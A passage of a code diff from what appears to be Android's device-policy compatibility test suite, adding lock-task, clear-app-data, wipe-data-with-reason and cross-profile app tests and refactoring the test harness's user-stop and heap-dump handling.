+ // Start the other task from the running activity
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, true /*shouldWait*/);
+ mContext.startActivity(launchIntent);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
+ }
+
+ // Remove whitelist authorization of the second task
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+ assertFalse(mIsReceiverActivityRunning);
+ }
+
+ assertLockTaskModeActive();
+ assertTrue(mIsActivityRunning);
+ assertTrue(mIsActivityResumed);
+
+ stopAndFinish(UTILITY_ACTIVITY);
+ }
+
// This launches an activity that is in the current task.
// This should always be permitted as a part of lock task (since it isn't a new task).
@Test
@@ -227,15 +300,15 @@
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- mReceivingActivityWasCreated = false;
- Intent launchIntent = getIntentReceivingActivityIntent(0);
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(false /*newTask*/, false /*shouldWait*/);
Intent lockTaskUtility = getLockTaskUtility(UTILITY_ACTIVITY);
lockTaskUtility.putExtra(LockTaskUtilityActivity.START_ACTIVITY, launchIntent);
mContext.startActivity(lockTaskUtility);
- synchronized (mReceivingActivityCreatedLock) {
- mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertTrue(mReceivingActivityWasCreated);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -245,17 +318,16 @@
@Test
public void testStartActivity_outsideTaskWhitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
- RECEIVING_ACTIVITY_PACKAGE_NAME });
+ RECEIVER_ACTIVITY_PACKAGE_NAME});
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- mReceivingActivityWasCreated = false;
- Intent launchIntent = getIntentReceivingActivityIntent(0);
- launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mIsReceiverActivityRunning = false;
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
mContext.startActivity(launchIntent);
- synchronized (mReceivingActivityCreatedLock) {
- mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertTrue(mReceivingActivityWasCreated);
+ synchronized (mReceiverActivityRunningLock) {
+ mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+ assertTrue(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -268,11 +340,11 @@
startLockTask(UTILITY_ACTIVITY);
waitForResume();
- Intent launchIntent = getIntentReceivingActivityIntent(Intent.FLAG_ACTIVITY_NEW_TASK);
+ Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
mContext.startActivity(launchIntent);
synchronized (mActivityResumedLock) {
mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- assertFalse(mReceivingActivityWasCreated);
+ assertFalse(mIsReceiverActivityRunning);
}
stopAndFinish(UTILITY_ACTIVITY);
}
@@ -341,6 +413,27 @@
assertFalse(mIsActivityResumed);
}
+ // Start lock task with ActivityOptions
+ @Test
+ public void testActivityOptions_whitelisted() throws Exception {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+ startLockTaskWithOptions(UTILITY_ACTIVITY);
+ waitForResume();
+
+ // Verify that activity open and activity manager is in lock task.
+ assertLockTaskModeActive();
+ assertTrue(mIsActivityRunning);
+ assertTrue(mIsActivityResumed);
+
+ stopAndFinish(UTILITY_ACTIVITY);
+ }
+
+ // Starting a non-whitelisted activity with ActivityOptions is not allowed
+ @Test(expected = SecurityException.class)
+ public void testActivityOptions_nonWhitelisted() throws Exception {
+ startLockTaskWithOptions(UTILITY_ACTIVITY);
+ }
+
/**
* Checks that lock task mode is active and fails the test if it isn't.
*/
@@ -412,6 +505,15 @@
}
/**
+ * Starts LockTaskUtilityActivity with {@link ActivityOptions#setLockTaskMode(boolean)}
+ */
+ private void startLockTaskWithOptions(String className) throws InterruptedException {
+ Intent intent = getLockTaskUtility(className);
+ Bundle options = ActivityOptions.makeBasic().setLockTaskMode(true).toBundle();
+ startAndWait(intent, options);
+ }
+
+ /**
* Calls stopLockTask on the LockTaskUtilityActivity
*/
private void stopLockTask(String className) throws InterruptedException {
@@ -435,9 +537,16 @@
* the command.
*/
private void startAndWait(Intent intent) throws InterruptedException {
+ startAndWait(intent, null);
+ }
+
+ /**
+ * Same as {@link #startAndWait(Intent)}, but with additional {@link ActivityOptions}.
+ */
+ private void startAndWait(Intent intent, Bundle options) throws InterruptedException {
mIntentHandled = false;
synchronized (this) {
- mContext.startActivity(intent);
+ mContext.startActivity(intent, options);
// Give 20 secs to finish.
wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
assertTrue(mIntentHandled);
@@ -456,12 +565,13 @@
return intent;
}
- private Intent getIntentReceivingActivityIntent(int flags) {
- Intent intent = new Intent();
+ /** Create an intent to launch {@link #RECEIVER_ACTIVITY_NAME}. */
+ private Intent createReceiverActivityIntent(boolean newTask, boolean shouldWait) {
+ final Intent intent = new Intent();
intent.setComponent(
- new ComponentName(RECEIVING_ACTIVITY_PACKAGE_NAME, RECEIVING_ACTIVITY_NAME));
- intent.setAction(ACTION_JUST_CREATE);
- intent.setFlags(flags);
+ new ComponentName(RECEIVER_ACTIVITY_PACKAGE_NAME, RECEIVER_ACTIVITY_NAME));
+ intent.setAction(shouldWait ? ACTION_CREATE_AND_WAIT : ACTION_JUST_CREATE);
+ intent.setFlags(newTask ? Intent.FLAG_ACTIVITY_NEW_TASK : 0);
return intent;
}
}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index da0e16c..84c5de6 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -35,6 +35,7 @@
<action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
<action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
<action android:name="com.android.cts.action.JUST_CREATE" />
+ <action android:name="com.android.cts.action.CREATE_AND_WAIT" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
new file mode 100644
index 0000000..0d2a990
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.intent.receiver;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test class that writes to shared preference and verifies that the shared preference gets cleared
+ * after DPM.clearApplicationUserData was called.
+ */
+@SmallTest
+public class ClearApplicationDataTest {
+ private static final String SHARED_PREFERENCE_NAME = "test-preference";
+ private static final String I_WAS_HERE = "I-Was-Here";
+
+ private Context mContext;
+ private SharedPreferences mSharedPrefs;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mSharedPrefs = mContext.getSharedPreferences(SHARED_PREFERENCE_NAME, Context.MODE_PRIVATE);
+ }
+
+ @Test
+ public void testWriteToSharedPreference() {
+ mSharedPrefs.edit().putBoolean(I_WAS_HERE, true).commit();
+ assertTrue(mSharedPrefs.contains(I_WAS_HERE));
+ }
+
+ @Test
+ public void testSharedPreferenceCleared() {
+ assertFalse(mSharedPrefs.contains(I_WAS_HERE));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
index a645a87..5f04be0 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
@@ -57,8 +57,14 @@
private static final String ACTION_JUST_CREATE =
"com.android.cts.action.JUST_CREATE";
- public static final String RECEIVING_ACTIVITY_CREATED_ACTION
- = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+ private static final String ACTION_CREATE_AND_WAIT =
+ "com.android.cts.action.CREATE_AND_WAIT";
+
+ private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+
+ private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
public static final String ACTION_NOTIFY_URI_CHANGE
= "com.android.cts.action.NOTIFY_URI_CHANGE";
@@ -131,10 +137,19 @@
getContentResolver().unregisterContentObserver(uriObserver);
handlerThread.quit();
}
- } else if (ACTION_JUST_CREATE.equals(action)) {
- sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
+ } else if (ACTION_JUST_CREATE.equals(action) || ACTION_CREATE_AND_WAIT.equals(action)) {
+ sendBroadcast(new Intent(RECEIVER_ACTIVITY_CREATED_ACTION));
}
- finish();
+
+ if (!ACTION_CREATE_AND_WAIT.equals(action)) {
+ finish();
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ sendBroadcast(new Intent(RECEIVER_ACTIVITY_DESTROYED_ACTION));
+ super.onDestroy();
}
private class UriObserver extends ContentObserver {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 05ebac0..f1bd986 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -145,6 +145,9 @@
</intent-filter>
</activity>
+ <activity android:name=".WebViewActivity"
+ android:process=":testProcess"/>
+
<service
android:name=".CrossProfileNotificationListenerService"
android:label="CrossProfileNotificationListenerService"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
index 550f1d3..4e2f58f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
@@ -168,6 +168,9 @@
typeName = typeName.substring(0, typeName.length() - 2);
}
+ // Resolve inner classes
+ typeName = typeName.replaceAll("([A-Z].*)\\.", "$1\\$");
+
// Remove type parameters, if any
typeName = typeName.replaceAll("<.*>$", "");
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
new file mode 100644
index 0000000..b5e16f4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
@@ -0,0 +1,14 @@
+package com.android.cts.managedprofile;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.webkit.WebView;
+
+public class WebViewActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(new WebView(this));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
index 7ef3a0a..26f627e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
@@ -15,16 +15,8 @@
*/
package com.android.cts.managedprofile;
-
-import com.android.cts.managedprofile.BaseManagedProfileTest.BasicAdminReceiver;
-
-import org.junit.Ignore;
-
-/**
- * Test wipeData() for use in managed profile. If called from a managed profile, wipeData() should
- * remove the current managed profile. Also, no erasing of external storage should be allowed.
- */
public class WipeDataTest extends BaseManagedProfileTest {
+ private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
@Override
protected void setUp() throws Exception {
@@ -35,8 +27,25 @@
assertTrue(mDevicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
}
+ /**
+ * Test wipeData() for use in managed profile. If called from a managed profile, wipeData()
+ * should remove the current managed profile. Also, no erasing of external storage should be
+ * allowed.
+ */
public void testWipeData() throws InterruptedException {
mDevicePolicyManager.wipeData(0);
- // the test that the profile will indeed be removed is done in the host.
+ // The test that the profile will indeed be removed is done in the host.
+ }
+
+ /**
+ * Test wipeDataWithReason() for use in managed profile. If called from a managed profile,
+ * wipeDataWithReason() should remove the current managed profile.In the mean time, it should
+ * send out a notification containing the reason for wiping data to user. Also, no erasing of
+ * external storage should be allowed.
+ */
+ public void testWipeDataWithReason() throws InterruptedException {
+ mDevicePolicyManager.wipeDataWithReason(0, TEST_WIPE_DATA_REASON);
+ // The test that the profile will indeed be removed is done in the host.
+ // Notification verification is done in another test.
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
new file mode 100644
index 0000000..3b35cb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
@@ -0,0 +1,37 @@
+package com.android.cts.managedprofile;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+/**
+ * Test wipeDataWithReason() has indeed shown the notification.
+ * The function wipeDataWithReason() is called and executed in another test.
+ */
+public class WipeDataWithReasonVerificationTest extends AndroidTestCase {
+
+ private static final String WIPE_DATA_TITLE = "Work profile deleted";
+ // This reason string should be aligned with the one in WipeDataTest as this is a followup test.
+ private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
+ private static final long UI_TIMEOUT_MILLI = 5000;
+
+ public void testWipeDataWithReasonVerification() throws UiObjectNotFoundException,
+ InterruptedException {
+ // The function wipeDataWithReason() is called and executed in another test.
+ // The data should be wiped and notification should be sent before.
+ UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ uiDevice.openNotification();
+ Boolean wipeDataTitleExist = uiDevice.wait(Until.hasObject(By.text(WIPE_DATA_TITLE)),
+ UI_TIMEOUT_MILLI);
+ Boolean wipeDataReasonExist = uiDevice.wait(Until.hasObject(By.text(TEST_WIPE_DATA_REASON)),
+ UI_TIMEOUT_MILLI);
+
+ // Verify the notification is there.
+ assertEquals("Wipe notification title not found", Boolean.TRUE, wipeDataTitleExist);
+ assertEquals("Wipe notification content not found",
+ Boolean.TRUE, wipeDataReasonExist);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index a612cee..36deebf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -27,10 +27,16 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.FileInputStreamSource;
+import com.android.tradefed.result.LogDataType;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.TarUtil;
+import java.io.File;
import java.io.FileNotFoundException;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
@@ -229,16 +235,21 @@
return 0;
}
+ private void stopUserAsync(int userId) throws Exception {
+ String stopUserCommand = "am stop-user -f " + userId;
+ CLog.d("starting command \"" + stopUserCommand);
+ CLog.d("Output for command " + stopUserCommand + ": "
+ + getDevice().executeShellCommand(stopUserCommand));
+ }
+
protected void stopUser(int userId) throws Exception {
- // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
- waitForBroadcastIdle();
String stopUserCommand = "am stop-user -w -f " + userId;
CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
CLog.d("Output for command " + stopUserCommand + ": "
+ getDevice().executeShellCommand(stopUserCommand));
}
- private void waitForBroadcastIdle() throws DeviceNotAvailableException {
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
try {
// we allow 8min for the command to complete and 4min for the command to start to
@@ -249,6 +260,24 @@
String output = receiver.getOutput();
CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
if (!output.contains("All broadcast queues are idle!")) {
+ // Gather the system_server dump data for investigation.
+ File heapDump = getDevice().dumpHeap("system_server", "/data/local/tmp/dump.hprof");
+ if (heapDump != null) {
+ // If file is too too big, tar if with TarUtil.
+ String pid = getDevice().getProcessPid("system_server");
+ // gzip the file it's quite big
+ File heapDumpGz = TarUtil.gzip(heapDump);
+ try (FileInputStreamSource source = new FileInputStreamSource(heapDumpGz)) {
+ addTestLog(
+ String.format("system_server_dump.%s.%s.hprof",
+ pid, getDevice().getDeviceDate()),
+ LogDataType.GZIP, source);
+ } finally {
+ FileUtil.deleteFile(heapDump);
+ }
+ } else {
+ CLog.e("Failed to capture the dumpheap from system_server");
+ }
// the call most likely failed we should fail the test
fail("'am wait-for-broadcase-idle' did not complete.");
// TODO: consider adding a reboot or recovery before failing if necessary
@@ -268,7 +297,16 @@
}
protected void removeTestUsers() throws Exception {
- for (int userId : getUsersCreatedByTests()) {
+ List<Integer> usersCreatedByTests = getUsersCreatedByTests();
+
+ // The time spent on stopUser is depend on how busy the broadcast queue is.
+ // To optimize the time to remove multiple test users, we mark all users as
+ // stopping first, so no more broadcasts will be sent to these users, which make the queue
+ // less busy.
+ for (int userId : usersCreatedByTests) {
+ stopUserAsync(userId);
+ }
+ for (int userId : usersCreatedByTests) {
removeUser(userId);
}
}
@@ -807,4 +845,11 @@
executeShellCommand("input keyevent KEYCODE_WAKEUP");
executeShellCommand("wm dismiss-keyguard");
}
+
+ protected void startActivityAsUser(int userId, String packageName, String activityName)
+ throws Exception {
+ wakeupAndDismissKeyguard();
+ String command = "am start -W --user " + userId + " " + packageName + "/" + activityName;
+ getDevice().executeShellCommand(command);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
new file mode 100644
index 0000000..b1cf3ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -0,0 +1,99 @@
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+import java.util.Map;
+
+/**
+ * In the test, managed profile and secondary user are created. We then verify
+ * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
+ * primary user to managed profile.
+ */
+public class CrossProfileAppsHostSideTest extends BaseDevicePolicyTest {
+ private static final String TEST_PACKAGE = "com.android.cts.crossprofileappstest";
+ private static final String NON_TARGET_USER_TEST_CLASS = ".CrossProfileAppsNonTargetUserTest";
+ private static final String TARGET_USER_TEST_CLASS = ".CrossProfileAppsTargetUserTest";
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String EXTRA_TEST_APK = "CtsCrossProfileAppsTests.apk";
+
+ private int mProfileId;
+ private int mSecondaryUserId;
+ private boolean mHasManagedUserFeature;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // We need managed users to be supported in order to create a profile of the user owner.
+ mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
+ installAppAsUser(EXTRA_TEST_APK, mPrimaryUserId);
+
+ if (mHasManagedUserFeature) {
+ createAndStartManagedProfile();
+ installAppAsUser(EXTRA_TEST_APK, mProfileId);
+ }
+ if (mSupportsMultiUser) {
+ mSecondaryUserId = createUser();
+ installAppAsUser(EXTRA_TEST_APK, mSecondaryUserId);
+ }
+ }
+
+ public void testPrimaryUserToPrimaryUser() throws Exception {
+ verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToManagedProfile() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testManagedProfileToPrimaryUser() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testSecondaryUserToManagedProfile() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mSecondaryUserId, mProfileId, NON_TARGET_USER_TEST_CLASS);
+
+ }
+
+ public void testManagedProfileToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ private void verifyCrossProfileAppsApi(int fromUserId, int targetUserId, String testClass)
+ throws Exception {
+ runDeviceTestsAsUser(
+ TEST_PACKAGE,
+ testClass,
+ null,
+ fromUserId,
+ createTargetUserParam(targetUserId));
+ }
+
+ private void createAndStartManagedProfile() throws Exception {
+ mProfileId = createManagedProfile(mPrimaryUserId);
+ switchUser(mPrimaryUserId);
+ startUser(mProfileId);
+ }
+
+ private Map<String, String> createTargetUserParam(int targetUserId) throws Exception {
+ return Collections.singletonMap(PARAM_TARGET_USER,
+ Integer.toString(getUserSerialNumber(targetUserId)));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 6b7d89b..600f719 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -253,6 +253,15 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
}
+ public void testPermissionGrant_developmentPermission() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppPermissionAppAsUser();
+ executeDeviceTestMethod(
+ ".PermissionsTest", "testPermissionGrantState_developmentPermission");
+ }
+
/**
* Require a device for tests that use the network stack. Headless Androids running in
* data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -814,6 +823,18 @@
Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
}
+ public void testClearApplicationData() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+ runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+ "testWriteToSharedPreference", mUserId);
+ executeDeviceTestMethod(".ClearApplicationDataTest", "testClearApplicationData");
+ runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+ "testSharedPreferenceCleared", mUserId);
+ }
+
protected void executeDeviceTestClass(String className) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
@@ -904,10 +925,7 @@
*/
protected void startSimpleActivityAsUser(int userId) throws Exception {
installAppAsUser(TEST_APP_APK, userId);
- wakeupAndDismissKeyguard();
- String command = "am start -W --user " + userId + " " + TEST_APP_PKG + "/"
- + TEST_APP_PKG + ".SimpleActivity";
- getDevice().executeShellCommand(command);
+ startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
}
protected void setScreenCaptureDisabled(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7a07d7c..ba0dcc0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -46,14 +46,14 @@
private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
+ ADMIN_RECEIVER_TEST_CLASS;
- /** The ephemeral users are implemented and supported on the device. */
- private boolean mHasEphemeralUserFeature;
+ /** Forcing ephemeral users is implemented and supported on the device. */
+ private boolean mHasForceEphemeralUserFeature;
/**
- * Ephemeral users are implemented, but unsupported on the device (because of missing split
- * system user).
+ * Force ephemeral users feature is implemented, but unsupported on the device (because of
+ * missing split system user).
*/
- private boolean mHasDisabledEphemeralUserFeature;
+ private boolean mHasDisabledForceEphemeralUserFeature;
@Override
protected void setUp() throws Exception {
@@ -67,9 +67,10 @@
fail("Failed to set device owner");
}
}
- mHasEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1) && hasUserSplit();
- mHasDisabledEphemeralUserFeature =
- mHasFeature && canCreateAdditionalUsers(1) && !hasUserSplit();
+ mHasForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+ && hasUserSplit();
+ mHasDisabledForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+ && !hasUserSplit();
}
@Override
@@ -125,7 +126,7 @@
/** Tries to toggle the force-ephemeral-users on and checks it was really set. */
public void testSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
// Set force-ephemeral-users policy and verify it was set.
@@ -136,7 +137,7 @@
* Setting force-ephemeral-users policy to true without a split system user should fail.
*/
public void testSetForceEphemeralUsersFailsWithoutSplitSystemUser() throws Exception {
- if (mHasDisabledEphemeralUserFeature) {
+ if (mHasDisabledForceEphemeralUserFeature) {
executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsersFails");
}
}
@@ -148,7 +149,7 @@
* <p>If the current user is the system user, the other users are removed straight away.
*/
public void testRemoveUsersOnSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
@@ -171,7 +172,7 @@
* before all other users are removed.
*/
public void testRemoveUsersOnSetForceEphemeralUsersWithUserSwitch() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
@@ -206,7 +207,7 @@
/** The users created after setting force-ephemeral-users policy to true must be ephemeral. */
public void testCreateUserAfterSetForceEphemeralUsers() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasForceEphemeralUserFeature) {
return;
}
@@ -221,7 +222,7 @@
* Test creating an epehemeral user using the DevicePolicyManager's createAndManageUser method.
*/
public void testCreateAndManageEphemeralUser() throws Exception {
- if (!mHasEphemeralUserFeature) {
+ if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
}
@@ -236,17 +237,6 @@
assertEquals("Ephemeral flag must be set", FLAG_EPHEMERAL, flags & FLAG_EPHEMERAL);
}
- /**
- * Test that creating an epehemeral user using the DevicePolicyManager's createAndManageUser
